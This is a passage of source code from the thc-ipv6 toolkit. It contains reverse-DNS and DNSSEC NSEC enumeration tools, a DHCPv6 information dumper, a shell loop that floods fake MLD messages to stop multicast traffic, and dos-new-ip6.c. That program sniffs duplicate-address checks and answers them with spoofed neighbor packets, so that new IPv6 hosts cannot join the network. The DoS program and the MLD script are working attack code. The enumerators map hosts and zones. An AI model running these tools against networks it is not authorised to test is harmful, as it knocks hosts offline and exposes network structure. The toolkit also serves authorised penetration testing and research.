1; buf_end[0] = 3; strcpy(buf_end + 1, "ip6"); buf_end[4] = 4; strcpy(buf_end + 5, "arpa"); buf_end[11] = 0x0c; buf_end[13] = 1; signal(SIGALRM, ignore); printf("Starting DNS reverse enumeration of %s on server %s\n", ptr, dst); // first: wildcard check ok = 0; k = 0; sock = dnssocket(dst); for (j = 0; j < 5; j++) { for (i = range_start; i < 32; i++) range[i] = tohex(rand() % 16); switch (send_range()) { case 0: ok++; break; case -1: k++; close(sock); sock = dnssocket(dst); break; default: i = 0; // ignored } } if (ok > 2) { fprintf(stderr, "Error: Wildcard configured in DNS server, not possible to " "enumerate!\n"); return -1; } if (k == 5) { fprintf(stderr, "Error: DNS server %s sent no replies!\n", dst); return -1; } else if (k > 0) waittime += 2; // starting the search i = deeper(range_start); printf("Found %d entr%s.\n", found, found == 1 ? "y" : "ies"); if (found == 0) return 1; else return 0; } thc-ipv6-3.8/dnsrevenum6.sh000077500000000000000000000030461376121567700156610ustar00rootroot00000000000000#!/bin/bash test -z "$1" -o "$1" = "-h" && { echo "Syntax: $0 ipv6-address[/prefixlength] [domain]" echo scans the reverse DNS entries of the /48 of the ipv6 address on the echo responsible dns server. echo if you get a \"no SOA entry found\" error message, please supply the echo corresponding domain name as an extra option. echo requires \"dig\" installed. exit 1 } which dig > /dev/null 2>&1 || { echo Error: dig not found in PATH ; exit 1 ; } EXTRA="" PLEN="" PREFIX=$1 #test -n "$2" && PLEN=$2 test -n "$2" && EXTRA="$2" echo $PREFIX | grep -q / && { PREFIX=`echo $1 | sed 's/\/.*//'` #test -z "$PLEN" && PLEN=`echo $1 | sed 's/.*\///'` } test -z "$PLEN" && PLEN=48 which dig > /dev/null 2>&1 || { echo Error: you need the dig command in your path ; exit 1 ; } DOMAIN=`dig -x $PREFIX soa | grep SOA | grep -v '^;' | tr '\t' ' ' | sed 's/.*SOA *//' | sed 's/ .*//'` test -z "$DOMAIN" && DOMAIN=`dig @8.8.8.8 -x $PREFIX soa | grep SOA | grep -v '^;' | tr '\t' ' ' | sed 's/.*SOA *//' | sed 's/ .*//'` test -z "$DOMAIN" -a -n "$EXTRA" && DOMAIN=`dig $EXTRA ns | egrep -v '^;' | egrep -w NS | egrep -w IN | awk '{print$5}'` test -z "$DOMAIN" && { echo Error: no SOA entry found for domain ; exit 1 ; } X=`echo ${PREFIX}-$PLEN| sed 's/\.$//' | tr : _` for i in $DOMAIN; do echo Enumerating $PREFIX/$PLEN on server $i ... Y=`echo $i | sed 's/\.$//'` dnsrevenum6 $i $PREFIX/$PLEN > $X-$Y.revenum grep -q Found: $X-$Y.revenum && echo Reverse DNS information saved to $X-$Y.revenum grep -q Found: $X-$Y.revenum || rm -f $X-$Y.revenum done thc-ipv6-3.8/dnssecwalk.c000066400000000000000000000257611376121567700153600ustar00rootroot00000000000000/* * Simple DNSSEC walker requiring no special libraries. * * (c) 2020 by Marc "van Hauser" Heuse or * The AGPL v3 license applies to this code. * * Works against DNSSEC servers which have NSEC enabled (default) * instead of NSEC3 :-) * * Compile simply as gcc -O2 -o dnssecwalk dnssecwalk.c * */ #include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" #define RETRY 5 // int debug = 0; int errcnt = 0, sock, ensure = 0, dores = -1, tcp = 0, tcp_offset = 0; char *dst, first[256], beforesub[256], firstsub[256]; int dnssocket(char *server) { struct addrinfo *ai; struct addrinfo hints; int s; memset(&hints, 0, sizeof(struct addrinfo)); hints.ai_family = AF_UNSPEC; if (tcp) { hints.ai_socktype = SOCK_STREAM; hints.ai_protocol = IPPROTO_TCP; } else { hints.ai_socktype = SOCK_DGRAM; hints.ai_protocol = IPPROTO_UDP; } if (getaddrinfo(server, "53", &hints, &ai) != 0) { fprintf(stderr, "Error: unable to resolve dns server %s\n", dst); exit(-1); } if ((s = socket(ai->ai_family, ai->ai_socktype, ai->ai_protocol)) < 0) { fprintf(stderr, "Error: unable to get a socket %s\n", dst); exit(-1); } if (connect(s, ai->ai_addr, ai->ai_addrlen) < 0) { fprintf(stderr, "Error: unable to connect to dns server %s\n", dst); exit(-1); } freeaddrinfo(ai); return s; } void noreply(int signo) { ++errcnt; if (errcnt < RETRY) { fprintf(stderr, "Warning: DNS server timeout (%d of %d retries)\n", errcnt, RETRY); close(sock); sock = -1; return; } else { fprintf(stderr, "Error: Giving up on DNS server, too many timeouts\n"); exit(1); } } int main(int argc, char **argv) { unsigned char buf[1024], buf2[1024]; char * ptr, *ptr2, nexthost[256], domain[256]; char b1[] = {0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; char b2[] = {0x00, 0x2f, 0x00, 0x01}; int pid = getpid(), dlen = 0, i = 0, fixi, len, ok = 1, cnt = 0, errcntbak, sub = 0, recv_len; struct addrinfo hints, *res, *p; struct sockaddr_in6 *ipv6, *q; struct sockaddr_in * ipv4, *q4; char ipv4str[16], ipv6str[40]; void * addr, *addr4; setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); if (argc < 3) { printf( "%s %s (c) 2020 by Marc Heuse http://www.mh-sec.de\n\n", argv[0], VERSION); printf("Syntax: %s [-e46t] dns-server domain\n\n", argv[0]); printf( "Options:\n -e ensure that the domain is present in found addresses, " "quit otherwise\n -4 resolve found entries to IPv4 addresses\n -6 " "resolve found entries to IPv6 addresses\n -t use TCP instead of " "UDP\n\n"); printf( "Perform DNSSEC NSEC walking.\n\nExample: %s dns.test.com test.com\n", argv[0]); exit(0); } while ((i = getopt(argc, argv, "e46t")) >= 0) { switch (i) { case 'e': ensure = 1; break; case 't': tcp = 1; tcp_offset = 2; break; case '4': if (dores == -1) dores = AF_INET; else dores = 0; break; case '6': if (dores == -1) dores = AF_INET6; else dores = 0; break; default: fprintf(stderr, "Error: unknown option -%c\n", i); exit(-1); } } if (optind + 2 > argc) { fprintf(stderr, "Error: you must specify the DNS server to query and the domain\n"); exit(-1); } dst = argv[optind]; sock = dnssocket(dst); for (i = 0; i < strlen(argv[optind]); i++) argv[optind][i] = (char)tolower((int)argv[optind][i]); for (i = 0; i < strlen(argv[optind + 1]); i++) argv[optind + 1][i] = (char)tolower((int)argv[optind + 1][i]); if (index(argv[optind + 1], '.') == NULL) { fprintf(stderr, "Error: not a valid domain (must be at least \".\"): %s\n", argv[optind + 1]); exit(-1); } strncpy(domain, argv[optind + 1], sizeof(nexthost) - 2); domain[sizeof(domain) - 2] = 0; if (domain[strlen(domain) - 1] != '.') strcat(domain, "."); strncpy(nexthost, argv[optind + 1], sizeof(nexthost) - 1); nexthost[sizeof(nexthost) - 1] = 0; memcpy(buf + tcp_offset, (char *)&pid + _TAKE2, 2); memcpy(buf + tcp_offset + 2, b1, sizeof(b1)); i = 2 + sizeof(b1) + tcp_offset; fixi = i; if (dores >= 0) { memset((char *)&hints, 0, sizeof(hints)); hints.ai_family = dores; } printf("Starting DNSSEC walking on server %s about %s (%s)\n", dst, domain, tcp == 0 ? "UDP" : "TCP"); while (ok == 1) { ptr = nexthost; i = fixi; // domain-encoded-here foo.com == \x03foo\x03com\x00 == dlen if (strcmp(ptr, ".") != 0) do { if ((ptr2 = index(ptr, '.')) != NULL) *ptr2 = 0; len = strlen(ptr); buf[i++] = len; memcpy(buf + i, ptr, len); i += len; dlen += (len + 1); ptr = ptr2; if (ptr != NULL) ptr++; } while (ptr != NULL && *ptr != 0); buf[i++] = 0; memcpy(buf + i, b2, sizeof(b2)); i += sizeof(b2); dlen = i; if (tcp) { int data_len = dlen - 2; buf[0] = data_len / 256; buf[1] = data_len % 256; } resend: if (send(sock, buf, dlen, 0) < 0) { fprintf(stderr, "Error: can not send to network\n"); exit(-1); } /* if (debug) { len = i; for (i = 0; i < len; i++) { if (i % 16 == 0) printf(" "); if (i % 8 == 0) printf(" "); printf("%02x ", buf[i]); if (i % 16 == 15) printf("\n"); } printf("\n\n"); } */ errcntbak = errcnt; signal(SIGALRM, noreply); memset(buf2, 0, sizeof(buf2)); if (tcp) { alarm(5); len = recv(sock, buf2, 2, 0); alarm(0); if (len != 2) { close(sock); sock = dnssocket(dst); recv_len = 0; if (errcntbak == errcnt) errcnt++; if ((errcntbak != errcnt) && errcnt > 0 && errcnt <= RETRY) goto resend; if (RETRY < errcnt || len < 10) noreply(0); } else recv_len = (unsigned int)((unsigned int)buf2[0] << 8) + (unsigned int)buf2[1]; if (sock == -1) sock = dnssocket(dst); } else recv_len = sizeof(buf2); alarm(5); len = recv(sock, buf2, recv_len, 0); alarm(0); if (sock == -1) sock = dnssocket(dst); if (len <= 0 && errcntbak == errcnt) errcnt++; if ((errcntbak != errcnt) && errcnt > 0 && errcnt <= RETRY) goto resend; if (RETRY < errcnt || len < 10) noreply(0); if ((buf2[3] & 9) == 9 || (buf2[3] & 15) == 2) { printf("Result: server not responsible for domain %s\n", nexthost); exit(1); } else if (buf2[3] == 5) { printf( "Result: server does not support NSEC, dnssec walking not " "possible\n"); exit(1); } else if ((buf2[3] & 15) > 0) { printf("Result: unknown error (%d)\n", (buf2[3] & 15)); exit(1); } else if (buf2[7] != 1) { printf( "Result: server does not support NSEC, dnssec walking not " "possible\n"); exit(1); } ptr = (char *)(buf2 + i); while (ptr < (char *)(buf2 + len) && *ptr != 0x2f) ptr++; ptr += 9; ptr2 = ptr + 1; i = *ptr; if (*ptr == 0) { ptr++; } else { while (i != 0) { ptr += i + 1; i = *ptr; *ptr = '.'; } } *ptr++ = '.'; *ptr = 0; if (*ptr2 != 0) { for (i = 0; i < strlen(ptr2); i++) ptr2[i] = (char)tolower((int)ptr2[i]); if (strcasecmp(ptr2, domain) == 0) ok = 2; else { if (sub == 1) { if (strcmp(firstsub, ptr2) == 0 || strcmp(beforesub, ptr2) == 0) { fprintf(stderr, "Error: loop detected (sub), aborting\n"); exit(-1); } } if (cnt != 0) { if ((ptr2[2 + strlen(ptr2)] & 2) == 2) { fprintf(stderr, "Warning: start of a sub domain: %s - following items can " "not be enumerated automatically (don't blame the tool, " "NSEC is broken. Brute force the next valid hostname and " "rerun the tool with hostname++.domain.)\n", nexthost); sub = 1; strcpy(beforesub, nexthost); strncpy(firstsub, ptr2, sizeof(firstsub) - 1); firstsub[sizeof(firstsub) - 1] = 0; } if (strcmp(ptr2, first) == 0 || strcmp(ptr2, nexthost) == 0) { fprintf(stderr, "Error: loop detected, aborting\n"); exit(-1); } strncpy(nexthost, ptr2, sizeof(nexthost) - 1); nexthost[sizeof(nexthost) - 1] = 0; } else { strncpy(nexthost, ptr2, sizeof(nexthost) - 1); nexthost[sizeof(nexthost) - 1] = 0; strcpy(first, nexthost); } if (ensure && strstr(nexthost, domain) == NULL) { fprintf(stderr, "Error: domain %s not found in result %s, exiting\n", domain, nexthost); exit(-1); } if (dores != -1) { if (getaddrinfo(nexthost, NULL, &hints, &res) == 0) { printf("Found: %s", nexthost); q = NULL; q4 = NULL; for (p = res; p != NULL; p = p->ai_next) { if (p->ai_family == AF_INET6) { // IPv6 ipv6 = (struct sockaddr_in6 *)p->ai_addr; addr = &(ipv6->sin6_addr); // convert the IP to a string and print it: if (q == NULL || memcmp(&ipv6->sin6_addr, &q->sin6_addr, 16) != 0) { q = ipv6; inet_ntop(p->ai_family, addr, ipv6str, sizeof ipv6str); printf(" => %s", ipv6str); } } else if (p->ai_family == AF_INET) { ipv4 = (struct sockaddr_in *)p->ai_addr; addr4 = &(ipv4->sin_addr); if (q4 == NULL || memcmp(&ipv4->sin_addr, &q4->sin_addr, 4) != 0) { q4 = ipv4; inet_ntop(p->ai_family, addr4, ipv4str, sizeof ipv4str); printf(" => %s", ipv4str); } } } printf("\n"); freeaddrinfo(res); // free the linked list } else printf("Found: %s\n", nexthost); } else printf("Found: %s\n", nexthost); cnt++; errcnt = 0; } } else ok = 0; if (ok == 0) { for (i = 0; i < len; i++) { if (i % 16 == 0) printf(" "); if (i % 8 == 0) printf(" "); printf("%02x ", buf2[i]); if (i % 16 == 15) printf("\n"); } printf("\n"); } } if (ok == 2) printf("Done, %d entries found.\n", cnt); close(sock); if (ok == 2) return 0; else return -1; } thc-ipv6-3.8/dnssecwalk.sh000077500000000000000000000017021376121567700155400ustar00rootroot00000000000000#!/bin/bash test -z "$1" -o "$1" = "-h" && { echo "Syntax: $0 [-a] domain" ; echo will try dnssecwalk on all nameservers until one is found, or all if -a is given as option ; exit 1 ; } which dig > /dev/null 2>&1 || { echo Error: you need the dig command in your path ; exit 1 ; } DNS="" dig 1.0.0.1.0.0.0.0.3.0.0.2.ip6.arpa. ns | grep -q '^1\.0.*SOA' || DNS="@8.8.8.8" ALL="" test "$1" = "-a" && { ALL=1 ; shift ; } DOMAIN=$1 echo $1 | grep -q '\.$' || DOMAIN=$1. FILE=`echo $DOMAIN|sed 's/\.$//'` OK="" for j in `dig $DNS $DOMAIN ns | grep -w NS | grep -w IN | grep -v ';' | awk '{print$5}'`; do SERVER=`echo $j|sed 's/\.$//'` test -z "$OK" && { echo Trying $j ... dnssecwalk -t -6 $j $DOMAIN > $SERVER-$FILE.dnssecwalk grep -q Found: $SERVER-$FILE.dnssecwalk && OK=1 test -n "$OK" && echo Dnssecwalk succeeded, saved to $SERVER-$FILE.dnssecwalk test -n "$OK" || rm -f $SERVER-$FILE.dnssecwalk test -n "$ALL" && OK="" } done thc-ipv6-3.8/dos-new-ip6.c000066400000000000000000000137321376121567700152650ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" unsigned char *pkt = NULL, *dstmac, *dst, matchfoo[16]; int pkt_len = 0; thc_ipv6_hdr * ipv6; int mychecksum, do_solicit = 0; char * interface; char * ptr3, *ptr4; int i; unsigned char *ownmac; void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf("Syntax: %s [-S] interface\n\n", prg); printf( "This tools prevents new IPv6 interfaces to come up, by sending answers " "to\n"); printf( "duplicate ip6 checks (DAD). This results in a DOS for new IPv6 " "devices.\n\n"); printf( "Option -S sends conflicting NS query instead of NA reply, but it " "restricts\n"); printf("source randomization.\n\n"); exit(-1); } void intercept(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { unsigned char *ipv6hdr = (unsigned char *)(data + 14); int len = header->caplen - 14; if (do_hdr_size) { ipv6hdr = (unsigned char *)(data + do_hdr_size); len = header->caplen - do_hdr_size; if ((ipv6hdr[0] & 240) != 0x60) return; } if (debug) { printf("DEBUG: packet received\n"); thc_dump_data((unsigned char *)data, header->caplen, "Received Packet"); } if ((do_solicit == 1) && (memcmp(data + 6, ipv6->pkt + 6, 6) == 0)) { // found a looped back own NS packet, ignore it return; } if (ipv6hdr[6] != NXT_ICMP6 || ipv6hdr[40] != ICMP6_NEIGHBORSOL || header->caplen < 78) return; if (memcmp(matchfoo, ipv6hdr + 8, 16) != 0 && !(ipv6hdr[8] == 0xfe && ipv6hdr[48] != 0xfe)) return; if (debug) printf( "DEBUG: packet is a valid duplicate ip6 check via icmp6 neighbor " "solitication\n"); if (do_solicit == 0) { memcpy(ipv6->pkt + 22, ipv6hdr + 48, 16); // copy target to srcip6 memcpy(ipv6->pkt + 62, ipv6hdr + 48, 16); // copy target to target mychecksum = checksum_pseudo_header(ipv6->pkt + 22, ipv6->pkt + 38, NXT_ICMP6, ipv6->pkt + 54, 32); ipv6->pkt[56] = mychecksum / 256; ipv6->pkt[57] = mychecksum % 256; } else { memset(ipv6->pkt + 22, 0, 16); // set srcIP as :: memcpy(ipv6->pkt + 62, ipv6hdr + 48, 16); // copy target to target memcpy(ipv6->pkt + 3, ipv6hdr + 61, 3); // make tail of L2 mcast memcpy(ipv6->pkt + 51, ipv6hdr + 61, 3); // make tail of all node mcast mychecksum = checksum_pseudo_header(ipv6->pkt + 22, ipv6->pkt + 38, NXT_ICMP6, ipv6->pkt + 54, 24); ipv6->pkt[56] = mychecksum / 256; ipv6->pkt[57] = mychecksum % 256; } thc_send_pkt(interface, pkt, &pkt_len); if (do_solicit == 0) { ptr4 = thc_ipv62notation(ipv6->pkt + 22); printf("Spoofed packet for existing ip6 as %s\n", ptr4); free(ptr4); } else { ptr4 = thc_ipv62notation(ipv6->pkt + 62); printf("Spoofed packet for colliding NS query as %s\n", ptr4); free(ptr4); } if (fork() == 0) { usleep(200); debug = 0; thc_send_pkt(interface, pkt, &pkt_len); exit(0); } ipv6->pkt[56] = 0; ipv6->pkt[57] = 0; // new random mac for next duplicate check // but it will not create if -S option is set if (do_solicit == 0) { for (i = 2; i < 6; i++) ipv6->pkt[6 + i] = rand() % 256; memcpy(ipv6->pkt + 80, ipv6->pkt + 6, 6); } (void)wait3(NULL, WNOHANG, NULL); return; } int main(int argc, char *argv[]) { char dummy[24]; if (argc == 3 && strncmp(argv[1], "-d", 2) == 0) { argv++; argc--; debug = 1; } if (argc < 2 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); if (debug) printf("Preparing spoofed packet for speed-up\n"); while ((i = getopt(argc, argv, "S")) >= 0) { switch (i) { case 'S': do_solicit = 1; break; default: fprintf(stderr, "Error: invalid option %c\n", i); help(argv[0]); exit(-1); } } if (argc - optind < 1) help(argv[0]); interface = argv[optind]; if ((ownmac = thc_get_own_mac(interface)) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } memset(dummy, 'X', sizeof(dummy)); dummy[16] = 2; dummy[17] = 1; memcpy(&dummy[18], ownmac, 6); if (do_solicit == 0) { // intercept by NA dst = thc_resolve6("ff02::1"); dstmac = thc_get_multicast_mac(dst); if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, dummy, dst, 255, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORADV, 0, ICMP6_NEIGHBORADV_OVERRIDE, dummy, 24, 0) < 0) return -1; if (thc_generate_pkt(interface, ownmac, dstmac, pkt, &pkt_len) < 0) return -1; } else { // intercept by NS dst = thc_resolve6("ff02::1:ff00:0"); dstmac = thc_get_multicast_mac(dst); if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, dummy, dst, 255, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORSOL, 0, 0, dummy, 16, 0) < 0) return -1; if (thc_generate_pkt(interface, ownmac, dstmac, pkt, &pkt_len) < 0) return -1; } ipv6 = (thc_ipv6_hdr *)pkt; memset(ipv6->pkt + 56, 0, 2); // reset checksum to zero srand(time(NULL) + getpid()); for (i = 2; i < 6; i++) // set a random mac, keeping the first two bytes ipv6->pkt[6 + i] = rand() % 256; memcpy(ipv6->pkt + 80, ipv6->pkt + 6, 6); if (debug) { thc_dump_data(ipv6->pkt, ipv6->pkt_len, "Prepared spoofing packet"); printf("\n"); } memset(matchfoo, 0, sizeof(matchfoo)); printf("Started ICMP6 DAD Denial-of-Service (Press Control-C to end) ...\n"); return thc_pcap_function(interface, "icmp6", (char *)intercept, 1, NULL); } thc-ipv6-3.8/dos_mld6.sh000077500000000000000000000010271376121567700151110ustar00rootroot00000000000000#!/bin/bash test -z "$1" -o "$1" = "-h" && { echo "Syntax: $0 [-2] interface [target-link-local-address multicast-address]" echo If specified, the multicast address of the target will be dropped first. echo All multicast traffic will cease after a while. echo Specify -2 to use MLDv2. exit 1 } X="" test "$1" = "-2" && { X="2" shift } while : ; do fake_mld${X}6 $i query :: ff02::1 1 fe80:: 11:22:33:44:55:66 33:33:00:00:00:02 test -n "$3" fake_mld${X}6 $i del "$3" ff02::2 1 "$2" 11:22:33:44:55:66 sleep 5 done thc-ipv6-3.8/dump_dhcp6.c000066400000000000000000000305571376121567700152520ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" char *interface = NULL, *dns_name = NULL, elapsed[6] = {0, 8, 0, 2, 0, 0}; int counter = 0; // start0: 1-3 rand, 18-21 rand, 22-27 mac, 32-35 rand char solicit[] = {0x01, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x0e, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x10, 0x00, 0x15, 0x00, 0x17, 0x00, 0x1f, 0x00, 0x38, 0x00, 0x40, 0x00, 0x63, 0x00, 0x7b, 0x00, 0xc7, 0x00, 0x14, 0x00, 0x00, 0x00, 0x19, 0x00, 0x29, 0x00, 0x00, 0x00, 0x01, // prefix deleg req 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1a, 0x00, 0x19, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; char inforeq[] = {0x0b, 0x3a, 0x48, 0x79, 0x00, 0x08, 0x00, 0x02, 0x06, 0x40, 0x00, 0x01, 0x00, 0x0e, 0x00, 0x01, 0x00, 0x01, 0x1a, 0x7d, 0x43, 0x48, 0x3c, 0x97, 0x0e, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x0e, 0x00, 0x00, 0x01, 0x37, 0x00, 0x08, 0x4d, 0x53, 0x46, 0x54, 0x20, 0x35, 0x2e, 0x30, 0x00, 0x06, 0x00, 0x08, 0x00, 0x18, 0x00, 0x17, 0x00, 0x11, 0x00, 0x20}; char dnsupdate1[] = {0, 39, 0, 8, 1, 6, 122, 97, 97, 97, 97, 97}; char dnsupdate2[] = {0, 6, 0, 2, 0, 39}; void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf("Syntax: %s [-V vendorid] interface [target]\n\n", prg); printf("Options:\n"); printf(" -V vendorid send vendorid number,string (e.g. 11,test)\n"); printf(" -N use fe80:: as source\n"); printf(" -n use empty mac as source\n"); printf( "\nDHCPv6 information tool. Dumps the available servers and their " "setup.\n"); printf("You can specify a specific DHCPv6 server as destination.\n"); exit(-1); } void clean_exit(int signo) { printf("\n%d replies received\n", counter); exit(0); } void check_packets(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { int len = header->caplen, rlen, i, j, k; unsigned char *ptr = (unsigned char *)data, *rdata, type; char mybuf[1024] = {0x03, 0, 0, 0, 0, 8, 0, 2, 0, 0}; if (do_hdr_size) { data += do_hdr_size; len -= do_hdr_size; if ((data[0] & 240) != 0x60) return; } else { data += 14; len -= 14; } rlen = len; rdata = (unsigned char *)data; // printf("x %d < 126, %d != %d, %d != 2||7\n", len, data[6], NXT_UDP, // data[48]); if (len < 100 || data[6] != NXT_UDP || (data[48] != 2 && data[48] != 7)) return; // printf("y\n"); type = data[48]; data += 48; len -= 48; memcpy(mybuf + 1, data + 1, 3); data += 4; len -= 4; /* while (len >= 4) { if ((olen = data[2] * 256 + data[3]) > len - 4 || olen < 0) { printf("Information: evil packet received\n"); olen = 0; len = -1; } else { if (data[1] > 1 && data[1] <= 3) { memcpy(mybuf + mlen, data, olen + 4); mlen += olen + 4; } else if (data[1] == 1) { memcpy(mybuf + mlen, data, olen + 4); mlen += olen + 4; if (olen == 14) smac = (char *) (data + 12); else smac = mac; } data += olen + 4; len -= olen + 4; if (len < 0) { printf("Information: evil packet received\n"); len = -1; } } } */ if (len >= 4) { counter++; printf("\nDHCPv6 packet received: %s\n", type == 2 ? "Advertise" : "Reply"); printf(" Server IP6: %s\n", thc_ipv62notation(rdata + 8)); printf(" Server MAC: %02x:%02x:%02x:%02x:%02x:%02x\n", ptr[6], ptr[7], ptr[8], ptr[9], ptr[10], ptr[11]); while (len >= 4) { i = data[0] * 256 + data[1]; j = data[2] * 256 + data[3]; if (j + 4 > len) { printf("Evil Packet!\n"); return; } switch (i) { case 1: // printf(""); // client identifier break; case 2: if (j > 0) { printf(" Server Identifier: "); // server identifier for (k = 0; k < j; k++) { printf("%02x", (unsigned char)data[4 + k]); } printf("\n"); } break; case 3: if (j >= 16 && data[16] == 0 && data[17] == 5) printf(" Address Offered: %s\n", thc_ipv62notation((unsigned char *)data + 20)); break; case 7: printf(" Preferred value (not implemented)\n"); // preferred value break; case 13: case 19: if (j >= 2) { printf(" Status Code: %d", data[4] * 256 + data[5]); if (j > 2) { printf(" ("); for (k = 0; k < (j - 2); k++) printf("%c", isprint(data[6 + k]) ? data[6 + k] : '.'); printf(")"); } printf("\n"); } break; case 20: printf(" Reconfigure Request: Accepted\n"); // reconfigure accept break; case 21: printf(" SIP Domain List: "); // sip server domain list for (k = 1; k < j; k++) { if (data[4 + k] == 0 && k + 1 < j) { printf(". + "); k++; } else printf("%c", isprint(data[4 + k]) ? data[4 + k] : '.'); } printf("\n"); break; case 23: if (j >= 16) for (k = 0; k < (j / 16); k++) printf(" DNS Server: %s\n", thc_ipv62notation((unsigned char *)data + 4 + (k * 16))); break; case 25: if (data[17] == 0x1a) printf(" Prefix Delegation: %s\n", thc_ipv62notation((unsigned char *)data + 29)); break; case 31: if (j >= 16) for (k = 0; k < (j / 16); k++) printf(" NTP Server: %s\n", thc_ipv62notation((unsigned char *)data + 4 + (k * 16))); break; case 32: if (j >= 4) printf(" Lifetime: %u\n", (unsigned int)((data[4] << 24) + (data[5] << 16) + (data[6] << 8) + data[7])); break; case 64: if (j > 1) { printf(" AFTR Server: "); for (k = 0; k < (j - 1); k++) printf("%c", isprint(data[5 + k]) ? data[5 + k] : '.'); printf("\n"); } break; case 99: if (j >= 16) for (k = 0; k < (j / 16); k++) printf(" DHCPv4OverIPv6 Server: %s\n", thc_ipv62notation((unsigned char *)data + 4 + (k * 16))); break; case 199: if (j >= 16) for (k = 0; k < (j / 16); k++) printf(" ?199? Server: %s\n", thc_ipv62notation((unsigned char *)data + 4 + (k * 16))); break; default: printf(" Unknown option type: %d\n", i); } len -= (4 + j); data += (4 + j); } printf("\n"); } } int main(int argc, char *argv[]) { char mac[6] = {0, 0x0c, 0, 0, 0, 0}, *pkt = NULL, *pkt2 = NULL; char wdatabuf[1024], wdatabuf2[1024]; unsigned char *mac6 = mac, *src, *dst, *vendorid = NULL, *ptr; int i, s, len, len2, pkt_len = 0, pkt2_len = 0, source = PREFER_LINK, hlim = 1; unsigned long long int count = 0; pcap_t * p = NULL; int do_all = 1, use_real_mac = 1, use_real_link = 1; if (argc < 2 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL) printf("WARNING: %s is not working with injection!\n", argv[0]); while ((i = getopt(argc, argv, "V:dnNr1")) >= 0) { switch (i) { case 'N': use_real_link = 0; // no break case 'n': use_real_mac = 0; break; case '1': do_all = 0; break; case 'V': vendorid = optarg; break; case 'r': i = 0; break; // just to ignore -r default: fprintf(stderr, "Error: unknown option -%c\n", i); exit(-1); } } memset(mac, 0, sizeof(mac)); interface = argv[optind]; if (thc_get_own_ipv6(interface, NULL, PREFER_LINK) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } if (argv[optind + 1] != NULL && strlen(argv[optind + 1]) > 0) { dst = thc_resolve6(argv[optind + 1]); if (dst[0] != 0 && dst[0] != 0xff && dst[0] != 0xfe) { source = PREFER_GLOBAL; hlim = 64; } dns_name = argv[optind + 2]; // can be NULL but this is not used yet } else { dst = thc_resolve6("ff02::1:2"); dns_name = NULL; } if (use_real_link) src = thc_get_own_ipv6(interface, NULL, source); else src = thc_resolve6("fe80::"); if (use_real_mac) mac6 = thc_get_own_mac(interface); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); // only to prevent our system to send icmp port unreachable messages if ((s = thc_bind_udp_port(546)) < 0) fprintf(stderr, "Warning: could not bind to 546/udp\n"); if ((p = thc_pcap_init_promisc(interface, "ip6 and udp and dst port 546")) == NULL) { fprintf(stderr, "Error: can not open interface %s in promisc mode\n", interface); exit(-1); } len = sizeof(solicit); memcpy(wdatabuf, solicit, len); len2 = sizeof(inforeq); memcpy(wdatabuf2, inforeq, len2); printf("Sending DHCPv6 Solicitate message ...\n"); printf("Sending DHCPv6 Information Request message ...\n"); if (!use_real_link) memcpy(src + 8, (char *)&count, 8); // start0: 1-3 rand, 18-21 rand, 22-27 mac, 32-35 rand for (i = 0; i < 3; i++) { wdatabuf[i + 32] = rand() % 256; wdatabuf[i + 18] = rand() % 256; mac[i + 2] = rand() % 256; } if (!use_real_mac) memcpy(wdatabuf + 22, mac, 6); if (!use_real_mac) memcpy(wdatabuf2 + 18, mac, 6); memcpy(wdatabuf + 1, (char *)&count + _TAKE3, 3); memcpy(wdatabuf2 + 1, (char *)&count + _TAKE3, 3); if (vendorid != NULL) { if ((ptr = index(vendorid, ',')) == NULL) { fprintf(stderr, "Error: invalid vendorid syntax: %s\n", vendorid); exit(-1); } *ptr++ = 0; i = atoi(vendorid); wdatabuf[len] = 0; wdatabuf[len + 1] = 0x10; wdatabuf[len + 2] = (4 + 2 + strlen(ptr)) / 256; wdatabuf[len + 3] = (4 + 2 + strlen(ptr)) % 256; wdatabuf[len + 4] = ((i & 0xff000000) >> 24); wdatabuf[len + 5] = ((i & 0x00ff0000) >> 16); wdatabuf[len + 6] = ((i & 0x0000ff00) >> 8); wdatabuf[len + 7] = i % 256; wdatabuf[len + 8] = strlen(ptr) / 256; wdatabuf[len + 9] = strlen(ptr) % 256; memcpy(wdatabuf + len + 10, ptr, strlen(ptr)); 